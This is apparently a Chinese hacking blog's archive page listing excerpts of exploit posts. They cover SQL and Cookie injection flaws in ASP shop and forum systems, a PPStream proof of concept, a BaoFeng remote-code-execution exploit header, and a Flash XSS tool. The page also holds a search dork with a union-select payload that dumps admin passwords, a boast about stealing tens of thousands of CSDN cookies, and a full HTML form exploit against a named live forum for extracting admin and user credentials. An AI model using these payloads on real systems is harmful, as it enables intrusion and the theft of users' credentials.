【白银时代】备注：转载请注明：んㄗ葑訫鎖愛’S Blog http://www.virusest.com shopxp网上购物系统 v7.4存在Sql注入漏洞。 问题文件：xpCatalog_xpDesc.asp，xpCatalog_xpsmall_Desc.asp 问题代码： <% dim shopxpbe_id, anclassname, shopxpse_id, nclassname dim totalPut dim CurrentPage, TotalPages if request(“shopxpbe_id”)<>”"...

【白银时代】备注：不是什么知名系统，挖掘不到什么大的利用价值。 涉及到的文件大致有pindaolist.asp，pinlist.asp，class.asp，article.asp，均存在Cookies注入。 问题代码如下：<% anid=request(“anid”) banshi=request(“banshi”) set rsan=server.CreateObject(“adodb.recordset”) rsan.Open “select * from anclass where...

...

【白银时代】备注：POC是放出来了，可是EXP我不知道怎么写……汗 <!– ****************************************************************************** PPStream is the most huge p2p media player in the world. There are two hundred million ppstream users in the world. The vulnerability is exploitable,but I have no time to make it,you could visit my blog for detail.^@^ welcome to http://0dayexpose.blogspot.com/ COM...

...

【白银时代】备注：我没学过Linux，所以没有发言权…… Linux内核漏洞最近几乎是一月一爆，在8月15号才爆了一个几乎通杀所有版本所有内核所有架构的内核漏洞；今天在学生返校的大喜日子里，竟然又爆了一个，通杀内核2.6 < 2.6.19的所有32位Linux，算是google security team给祖国学生的礼物吧。 linux的一个localroot，IIS5/6 FTP的remote...

【白银时代】备注：80sec的牛人太多了。汗 fly_flash — Jump/XSS/CSRF in Flash Author: lake2@80sec.com Site: http://www.80sec.com Date: 2009-8-26 From: http://www.80sec.com/release/fly_flash.txt 80SEC — know it then hack it ! [ description ] fly_flash is a tool for penetration in flash [ usage ] upload fly_flash.swf and fly_flash.txt to your server in same directory, embed fly_flash.swf in other website, modify the...

【白银时代】备注：杀伤力巨大…… 关键字：inurl:/xqgslist.asp 点开新闻或者文章，随意点开一个页面。   注入语句：xor 1=2 union select 1,2,adminname,adminpwd,5 from...

【白银时代】备注：天阳看见有人发了，果然很猛。原帖地址：http://bbs.tian6.com/thread-14470-1-1.html 今天测试了下~ （ps：CSDN的童鞋不要怪我哈~ 你们的密码我都没乱扔）几分钟后盗了60多K的cookies~ 登陆了下~ 都可以，XXS还是挺好玩儿的~ ，手下留情没有弄管理员~ 所以就不要说我有什么企图了~ 完全没有的~...

【白银时代】备注：我孤陋寡闻了，都出了快半个月了……

该文章出自《Peerless (皮尔利斯)》,原文链接：http://www.xumus.com/read.php/80.htm
...

【白银时代】备注：不要乱来，今年抓的蛮严的……

Copy code<center><H1>飞天论坛asp版通杀 0day利用程序</H1></center>
<form  method=post name="luoye">
目标地址：<input name="act" type="text" id="act" size="140" value="http://bbs.0127.cn/"><br><br>
注入语句：<input type=text size=150 name=userid value="1 and 1=2 union select 1,2,admin_pwd,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37

,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58 from ftbbs_admin"><br><br>
<input type=submit value=Fuck onClick="javascript:luoye.action=document.all.act.value+'haoyou.asp';">

<br><br><br><br>
<font color=red>爆所有管理员用户名时，把admin_pwd改为admin_user</font><br><br>
<font color=red>爆所有论坛用户数据时，把表名改为clubuser，用户名字段是clubuser_nickname；密码字段是clubuser_password</font><br><br>
<font color=red>如果想爆单一用户或管理员的数据，请自行加where语句，参考：id、clubuserid</font><br><br>

【白银时代】备注：作者已通知腾讯……SO，大家没搞头啦……嘎嘎。
作者:孤鸿影

漏洞一:

【白银时代】备注：目前还没有成型的EXP被放出来，我等小菜只能眼巴巴的等大牛放出来啦……

milw0rm.com上面4月30号放出来的，具体应用我是不懂啦，不过看样子貌似有点意思……

#
# BaoFeng (mps.dll) Remote Code Execution Exploit
# By: MITBOY
# Download: www.baofeng.com
...

【白银时代】备注：请勿用于非法用途，由此造成的后果小的概不负责，请直接联系原作者……

By qiur3n

iShow Music 是一套基本于PHP+TXT的在线音乐播放程序。程序采用文本数据存储方式，无需MYSQL数据库支持，同时程序代码与界面模板分离，方便你的音乐网站界面修改。
官方网站：http://www.ishowsky.cn

在error.php 12-26行复制内容到剪贴板代码:

elseif ($_POST['action']=="save"){
...